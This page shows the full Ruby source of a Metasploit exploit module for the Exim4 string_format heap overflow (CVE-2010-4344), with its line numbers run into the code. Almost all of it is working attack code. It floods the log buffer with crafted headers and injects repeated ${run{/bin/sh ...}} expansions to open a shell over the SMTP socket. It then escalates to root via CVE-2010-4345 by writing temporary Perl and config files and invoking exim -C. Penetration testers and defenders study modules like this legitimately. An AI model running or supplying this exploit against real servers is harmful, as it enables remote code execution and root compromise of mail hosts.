Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/smtp/exim4_string_format.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Smtp910def initialize(info = {})11super(update_info(info,12'Name' => 'Exim4 string_format Function Heap Buffer Overflow',13'Description' => %q{14This module exploits a heap buffer overflow within versions of Exim prior to15version 4.69. By sending a specially crafted message, an attacker can corrupt the16heap and execute arbitrary code with the privileges of the Exim daemon.1718The root cause is that no check is made to ensure that the buffer is not full19prior to handling '%s' format specifiers within the 'string_vformat' function.20In order to trigger this issue, we get our message rejected by sending a message21that is too large. This will call into log_write to log rejection headers (which22is a default configuration setting). After filling the buffer, a long header23string is sent. In a successful attempt, it overwrites the ACL for the 'MAIL24FROM' command. By sending a second message, the string we sent will be evaluated25with 'expand_string' and arbitrary shell commands can be executed.2627It is likely that this issue could also be exploited using other techniques such28as targeting in-band heap management structures, or perhaps even function pointers29stored in the heap. However, these techniques would likely be far more platform30specific, more complicated, and less reliable.3132This bug was original found and reported in December 2008, but was not33properly handled as a security issue. Therefore, there was a 2 year lag time34between when the issue was fixed and when it was discovered being exploited35in the wild. At that point, the issue was assigned a CVE and began being36addressed by downstream vendors.3738An additional vulnerability, CVE-2010-4345, was also used in the attack that39led to the discovery of danger of this bug. This bug allows a local user to40gain root privileges from the Exim user account. If the Perl interpreter is41found on the remote system, this module will automatically exploit the42secondary bug as well to get root.43},44'Author' => [ 'jduck', 'hdm' ],45'License' => MSF_LICENSE,46'References' =>47[48[ 'CVE', '2010-4344' ],49[ 'CVE', '2010-4345' ],50[ 'OSVDB', '69685' ],51[ 'OSVDB', '69860' ],52[ 'BID', '45308' ],53[ 'BID', '45341' ],54[ 'URL', 'https://seclists.org/oss-sec/2010/q4/311' ],55[ 'URL', 'http://www.gossamer-threads.com/lists/exim/dev/89477' ],56[ 'URL', 'http://bugs.exim.org/show_bug.cgi?id=787' ],57[ 'URL', 'http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b' ]58],59'Privileged' => true,60'Payload' =>61{62'DisableNops' => true,63'Space' => 8192, # much more in reality, but w/e64'Compat' =>65{66'PayloadType' => 'cmd',67'RequiredCmd' => 'generic perl ruby telnet',68}69},70'Platform' => 'unix',71'Arch' => ARCH_CMD,72'Targets' =>73[74[ 'Automatic', { } ],75],76# Originally discovered/reported Dec 2 200877'DisclosureDate' => '2010-12-07', # as an actual security bug78'DefaultTarget' => 0))7980register_options(81[82OptString.new('MAILFROM', [ true, 'FROM address of the e-mail', 'root@localhost']),83OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'postmaster@localhost']),84OptString.new('EHLO_NAME', [ false, 'The name to send in the EHLO' ])85])8687register_advanced_options(88[89OptString.new("SourceAddress", [false, "The IP or hostname of this system as the target will resolve it"]),90OptBool.new("SkipEscalation", [true, "Specify this to skip the root escalation attempt", false]),91OptBool.new("SkipVersionCheck", [true, "Specify this to skip the version check", false])92])93end9495def exploit96#97# Connect and grab the banner98#99ehlo = datastore['EHLO_NAME']100ehlo ||= Rex::Text.rand_text_alphanumeric(8) + ".com"101102print_status("Connecting to #{rhost}:#{rport} ...")103connect104105print_status("Server: #{self.banner.to_s.strip}")106if self.banner.to_s !~ /Exim /107disconnect108fail_with(Failure::NoTarget, "The target server is not running Exim!")109end110111if not datastore['SkipVersionCheck'] and self.banner !~ /Exim 4\.6\d+/i112fail_with(Failure::Unknown, "Warning: This version of Exim is not exploitable")113end114115ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")116ehlo_resp.each_line do |line|117print_status("EHLO: #{line.strip}")118end119120#121# Determine the maximum message size122#123max_msg = 52428800124if ehlo_resp.to_s =~ /250-SIZE (\d+)/125max_msg = $1.to_i126end127128#129# Determine what hostname the server sees130#131saddr = nil132revdns = nil133if ehlo_resp =~ /^250.*Hello ([^\s]+) \[([^\]]+)\]/134revdns = $1135saddr = $2136end137source = saddr || datastore["SourceAddress"] || Rex::Socket.source_address('1.2.3.4')138print_status("Determined our hostname is #{revdns} and IP address is #{source}")139140141#142# Initiate the message143#144from = datastore['MAILFROM']145to = datastore['MAILTO']146147resp = raw_send_recv("MAIL FROM: #{from}\r\n")148resp ||= 'no response'149msg = "MAIL: #{resp.strip}"150if not resp or resp[0,3] != '250'151fail_with(Failure::Unknown, msg)152else153print_status(msg)154end155156resp = raw_send_recv("RCPT TO: #{to}\r\n")157resp ||= 'no response'158msg = "RCPT: #{resp.strip}"159if not resp or resp[0,3] != '250'160fail_with(Failure::Unknown, msg)161else162print_status(msg)163end164165resp = raw_send_recv("DATA\r\n")166resp ||= 'no response'167msg = "DATA: #{resp.strip}"168if not resp or resp[0,3] != '354'169fail_with(Failure::Unknown, msg)170else171print_status(msg)172end173174175#176# Calculate the headers177#178msg_len = max_msg + (1024*256) # just for good measure179log_buffer_size = 8192180181host_part = "H="182if revdns and revdns != ehlo183host_part << revdns << " "184end185host_part << "(#{ehlo})"186187# The initial headers will fill up the 'log_buffer' variable in 'log_write' function188print_status("Constructing initial headers ...")189log_buffer = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from <#{from}> #{host_part} [#{source}]: "190log_buffer << "message too big: read=#{msg_len} max=#{max_msg}\n"191log_buffer << "Envelope-from: <#{from}>\nEnvelope-to: <#{to}>\n"192193# We want 2 bytes left, so we subtract from log_buffer_size here194log_buffer_size -= 3 # account for the nul termination too195196# Now, " " + hdrline for each header197hdrs = []198while log_buffer.length < log_buffer_size199header_name = rand_text_alpha(10).capitalize200filler = rand_text_alphanumeric(8 * 16)201hdr = "#{header_name}: #{filler}\n"202203one = (2 + hdr.length)204two = 2 * one205left = log_buffer_size - log_buffer.length206if left < two and left > one207left -= 4 # the two double spaces208first = left / 2209hdr = hdr.slice(0, first - 1) + "\n"210hdrs << hdr211log_buffer << " " << hdr212213second = left - first214header_name = rand_text_alpha(10).capitalize215filler = rand_text_alphanumeric(8 * 16)216hdr = "#{header_name}: #{filler}\n"217hdr = hdr.slice(0, second - 1) + "\n"218end219hdrs << hdr220log_buffer << " " << hdr221end222hdrs1 = hdrs.join223224# This header will smash various heap stuff, hopefully including the ACL225header_name = Rex::Text.rand_text_alpha(7).capitalize226print_status("Constructing HeaderX ...")227hdrx = "#{header_name}: "2281.upto(50) { |a|2293.upto(12) { |b|230hdrx << "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} "231}232}233234# In order to trigger the overflow, we must get our message rejected.235# To do so, we send a message that is larger than the maximum.236237print_status("Constructing body ...")238body = ''239fill = (Rex::Text.rand_text_alphanumeric(254) + "\r\n") * 16384240241while(body.length < msg_len)242body << fill243end244body = body[0, msg_len]245246print_status("Sending #{msg_len / (1024*1024)} megabytes of data...")247sock.put hdrs1248sock.put hdrx249sock.put "\r\n"250sock.put body251252print_status("Ending first message.")253buf = raw_send_recv("\r\n.\r\n")254# Should be: "552 Message size exceeds maximum permitted\r\n"255print_status("Result: #{buf.inspect}") if buf256257second_result = ""258259print_status("Sending second message ...")260buf = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")261# Should be: "sh-x.x$ " !!262if buf263print_status("MAIL result: #{buf.inspect}")264second_result << buf265end266267buf = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n")268# Should be: "sh: RCPT: command not found\n"269if buf270print_status("RCPT result: #{buf.inspect}")271second_result << buf272end273274# Clear pending output from the socket275buf = sock.get_once(-1, 1.0)276second_result << buf if buf277sock.put("source /etc/profile >/dev/null 2>&1\n")278buf = sock.get_once(-1, 2.0)279second_result << buf if buf280281# Check output for success282if second_result !~ /(MAIL|RCPT|sh: |sh-[0-9]+)/283print_error("Second result: #{second_result.inspect}")284fail_with(Failure::Unknown, 'Something went wrong, perhaps this host is patched?')285end286287resp = ''288if not datastore['SkipEscalation']289print_status("Looking for Perl to facilitate escalation...")290# Check for Perl as a way to escalate our payload291sock.put("perl -V\n")292select(nil, nil, nil, 3.0)293resp = sock.get_once(-1, 10.0)294end295296if resp !~ /Summary of my perl/297print_status("Should have a shell now, sending payload...")298buf = raw_send_recv("\n" + payload.encoded + "\n\n")299if buf300if buf =~ /554 SMTP synchronization error/301print_error("This target may be patched: #{buf.strip}")302else303print_status("Payload result: #{buf.inspect}")304end305end306else307print_status("Perl binary detected, attempt to escalate...")308309token = Rex::Text.rand_text_alpha(8)310# Flush the output from the shell311sock.get_once(-1, 0.1)312313# Find the perl interpreter path314sock.put("which perl;echo #{token}\n")315buff = ""316cnt =317while not buff.index(token)318res = sock.get_once(-1, 0.25)319buff << res if res320end321322perl_path = buff.gsub(token, "").gsub(/\/perl.*/m, "/perl").strip323print_status("Using Perl interpreter at #{perl_path}...")324325temp_conf = "/var/tmp/" + Rex::Text.rand_text_alpha(8)326temp_perl = "/var/tmp/" + Rex::Text.rand_text_alpha(8)327temp_eof = Rex::Text.rand_text_alpha(8)328329print_status("Creating temporary files #{temp_conf} and #{temp_perl}...")330331data_conf = "spool_directory = ${run{#{perl_path} #{temp_perl}}}\n".unpack("H*")[0]332sock.put("perl -e 'print pack qq{H*},shift' #{data_conf} > #{temp_conf}\n")333334data_perl = "#!/usr/bin/perl\n$) = $( = $> = $< = 0; system<DATA>;\n__DATA__\n#{payload.encoded}\n".unpack("H*")[0]335sock.put("perl -e 'print pack qq{H*},shift' #{data_perl} > #{temp_perl}\n")336337print_status("Attempting to execute payload as root...")338sock.put("PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin exim -C#{temp_conf} -q\n")339end340341# Give some time for the payload to be consumed342select(nil, nil, nil, 4)343344handler345disconnect346end347end348349350